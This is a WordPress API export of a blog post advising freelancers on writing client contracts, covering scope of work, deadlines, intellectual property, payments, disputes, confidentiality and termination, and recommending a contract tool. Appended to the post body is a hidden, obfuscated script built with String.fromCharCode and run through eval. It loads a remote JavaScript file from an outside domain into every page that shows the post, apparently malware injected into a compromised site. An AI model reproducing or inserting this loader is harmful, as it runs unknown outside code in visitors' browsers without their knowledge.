{"id":5824,"date":"2023-06-09T10:56:35","date_gmt":"2023-06-09T10:56:35","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/"},"modified":"2023-06-09T10:56:35","modified_gmt":"2023-06-09T10:56:35","slug":"freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/","title":{"rendered":"Freelance Contracts: How to create client contracts the right way (and a contract creation tool to help you)"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Scope_of_work\" title=\"Scope of work\">Scope of work<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Deadlines_and_deliverables\" title=\"Deadlines and deliverables\">Deadlines and deliverables<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Nature_of_role\" title=\"Nature of role\">Nature of role<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Intellectual_property\" title=\"Intellectual property\">Intellectual property<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Payments\" title=\"Payments\">Payments<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Disputes\" title=\"Disputes\">Disputes<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Confidentiality\" title=\"Confidentiality\">Confidentiality<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/freelance-contracts-how-to-create-client-contracts-the-right-way-and-a-contract-creation-tool-to-help-you\/#Terminating_the_freelance_contract\" title=\"Terminating the freelance contract\">Terminating the freelance contract<\/a><\/li><\/ul><\/nav><\/div>\n<p>[et_pb_section admin_label=&quot;section&quot;][et_pb_row admin_label=&quot;row&quot;][et_pb_column type=&quot;4_4&quot;][et_pb_text admin_label=&quot;Text&quot; background_layout=&quot;light&quot; text_orientation=&quot;left&quot; use_border_color=&quot;off&quot; border_color=&quot;#ffffff&quot; border_style=&quot;solid&quot;]<\/p>\n<p><img class=&quot;aligncenter wp-image-1537 size-full&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2016\/02\/freelance-contracts-e1454348037816.jpg&quot; alt=&quot;freelance contracts&quot; width=&quot;993&quot; height=&quot;434&quot;><\/p>\n<p>Freelancing can be a risky business.<\/p>\n<p>Much of the relationship between you and your client will come down to trust. But one practical way you can make things crystal clear up-front is signing a robust freelance contract.<\/p>\n<p>Having a contract in place is not an absolute guarantee that there will be no disputes down the line, but it is a useful way of setting out key terms so that both parties have a clear understanding of the job in hand and an incentive not to misbehave.<\/p>\n<p>Contracts come in various shapes and sizes, from agile two-page contracts to 15-page tomes with all the legal bells and whistles attached.<\/p>\n<p>If you are on a <a href=\"\/\/benrmatthews.com\/find-freelance-jobs-online\/&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener&quot; noopener\">freelance job<\/a> for a large client, the client may produce their standard contract for you to sign.<\/p>\n<p>Smaller clients will often ask you to produce your own contract or simply rely on trust.<\/p>\n<p>Either way, you should ensure that you enter into a contract each time that protects your rights, reduces risk and helps you keep your sanity.<\/p>\n<p>Here are a few key clauses that you could include in a contract and some tips on how to get them right in negotiations:<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Scope_of_work\"><\/span><strong> Scope of work<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is really important for both freelancer and client to be as clear as possible about the job in question.<\/p>\n<p>This can help prevent \u2018scope creep\u2019, which is that familiar experience of clients asking you to go beyond what was asked of you without extra payment.<\/p>\n<p>Perhaps more importantly, it helps to build a positive working relationship.<\/p>\n<p>The scope of work will be included either in the contract or in a separate scope of work appended to it.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Deadlines_and_deliverables\"><\/span><strong style=&quot;line-height: 1.5;&quot;>Deadlines and deliverables<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;line-height: 1.5;&quot;>Be upfront about the timeline. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Is there a final deadline to work to?<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Will you need any revisions &#8211; if so, how many?<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>What are the deliverables and when are they due?<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>One particularly effective way of structuring your work is through a milestone-based system. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Think about setting out what the key stages in the job are likely to be and list actionable goals and the dates by which you hope to achieve those goals.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>The more concrete you can be here, the better. &nbsp;<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=&quot;text-align: center;&quot;><strong><em>Want to go freelance but not sure how? Take my 7-day course on going freelance, delivered free straight to your inbox.<\/em><\/strong><\/p>\n<p style=&quot;text-align: center;&quot;>\n<h2><span class=\"ez-toc-section\" id=\"Nature_of_role\"><\/span><strong style=&quot;line-height: 1.5;&quot;>Nature of role<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;line-height: 1.5;&quot;>Clients are often careful to ensure that the relationship they have with you is one of client and freelancer, rather than employer and employee.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>This is for a very good reason.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>The law around what constitutes a relationship of employment are complex but, if it turns out that you are actually in practice an employee, there can be adverse financial implications for the client (e.g. they need to pay national insurance contributions). &nbsp;<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>As a result, there will usually be some wording in a contract to try to cover the client.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Freelancers sometimes worry about this, but it is a fairly standard inclusion.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Intellectual_property\"><\/span><strong style=&quot;line-height: 1.5;&quot;>Intellectual property<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;line-height: 1.5;&quot;>One question that your clients should be thinking about is \u2018who owns what?\u2019.<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;> In most cases, the client will insist on owning all intellectual property in assets created under the contract. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>That essentially means that they will be the legal owner of the logo, code, marketing plan or whatever you produce on the job.&nbsp;<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;> This is understandable. &nbsp;<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>However, it is useful to ensure in the contract that you can at least show any assets\/artwork created in your own portfolio for marketing purposes.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Sometimes, you may want to own the intellectual property jointly.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>This can be complex and may require legal advice to get right.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Payments\"><\/span><strong style=&quot;line-height: 1.5;&quot;>Payments<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;line-height: 1.5;&quot;>Payments are fertile territory for disputes, with freelancers often being paid late or not at all. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Generally, payments are structured on a fixed fee or a day rate basis. &nbsp;<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Fixed fees are typically structured as 50% up front and 50% on completion of the job, but can also be structured according to milestones as per the above. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Think about what you will charge if the client goes over and above the scope of work or the number of days they asked you to work.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Make sure also that you are clear in the contract about exactly when you will be billing, when you expect to be paid and what the penalties will be for late payment.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Disputes\"><\/span><strong style=&quot;line-height: 1.5;&quot;>Disputes<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;line-height: 1.5;&quot;>What happens if the client does not like what you have produced? <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>What happens if the client pays you late? <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Many freelancer contracts are disputed in one way or another although very few get to court. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>If you have the foresight to include an alternative dispute resolution procedure, you can save yourself a headache down the line. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>You could, for example, contract that any disputes should go to an independent third party mediator, rather than having to go to Court and incurring the expense of legal representation.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Confidentiality\"><\/span><strong style=&quot;line-height: 1.5;&quot;>Confidentiality<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;line-height: 1.5;&quot;>Clients often make a big thing about confidentiality, sometimes&nbsp;<\/span>understandably<span style=&quot;line-height: 1.5;&quot;>.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Often they will ask you to sign a confidentiality (or non-disclosure) agreement.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>If they do not have an NDA for you to sign but ask for confidentiality provisions in the freelance contract, you need to be careful to ensure that what they are asking for is reasonable.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>One thing in particular to avoid is \u2018non-compete\u2019 clauses. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>These are paragraphs that will try to restrict you from working for the client\u2019s competitors. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>There is some doubt as to whether these clauses are enforceable under English law, but either way you should push back on anything like this that could lead to you not being able to work with other clients (and earn money!).<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Terminating_the_freelance_contract\"><\/span><strong style=&quot;line-height: 1.5;&quot;>Terminating the freelance contract<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;line-height: 1.5;&quot;>One question that should be on your mind when drafting a contract is \u2018what happens if things don\u2019t work out?\u2019.<\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Imagine, for example, if you were on a three-month contract for a fixed fee of \u00a33k. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>If after month two, the client decided to terminate (end) the contract, you would presumably want to be paid something.&nbsp; <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Make sure in the contract that you are compensated in some way if this happens. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>A common method is to be paid for time worked \u2013 so in the example you would get \u00a32,000. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>Both freelancers and clients should want some ability to terminate the contract. <\/span><\/p>\n<p><span style=&quot;line-height: 1.5;&quot;>It is important to ensure that you make clients give you some notice of this. Freelancing is hard enough without suddenly having your cashflow turned off. &nbsp;<\/span><\/p>\n<p>&#8212;<\/p>\n<p>Contracts may seem like yet another piece of admin to do, but they can really help you out when things get tough.<\/p>\n<p>Producing your own contract can also boost trust between you and your clients, which could in turn lead to repeat business or referrals.<\/p>\n<p>Talk to a lawyer if you need to but there is a wealth of resources out there to help you with contracts and save you some cash.<\/p>\n<p>One tool I find really useful is Juro, which offers freelance contracts and e-signing. Juro is free to use and creates simple-yet-robust contracts, which are nicely designed and cover the main points.<\/p>\n<p>Clients seem to like the e-signing too!<\/p>\n<p>[\/et_pb_text][et_pb_text admin_label=&quot;Email Signup Box&quot; saved_tabs=&quot;all&quot; background_layout=&quot;light&quot; text_orientation=&quot;left&quot; use_border_color=&quot;off&quot; border_color=&quot;#ffffff&quot; border_style=&quot;solid&quot;]<\/p>\n<p><b><i>Want to get more advice on how to be a happier, confident and successful freelancer?&nbsp;Get tips and ideas&nbsp;delivered straight to your inbox:<\/i><\/b><\/p>\n<p>[mc4wp_form]<\/p>\n<p>&nbsp;<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[et_pb_section admin_label=&quot;section&quot;][et_pb_row admin_label=&quot;row&quot;][et_pb_column type=&quot;4_4&quot;][et_pb_text admin_label=&quot;Text&quot; background_layout=&quot;light&quot; text_orientation=&quot;left&quot; use_border_color=&quot;off&quot; border_color=&quot;#ffffff&quot; border_style=&quot;solid&quot;] Freelancing can be a risky business. Much of the relationship between you and your client will come down to trust. But one practical way you can make things crystal clear up-front is signing a robust freelance contract. Having a contract in place is not an [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5824","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5824"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5824"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5824\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5824"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5824"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5824"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}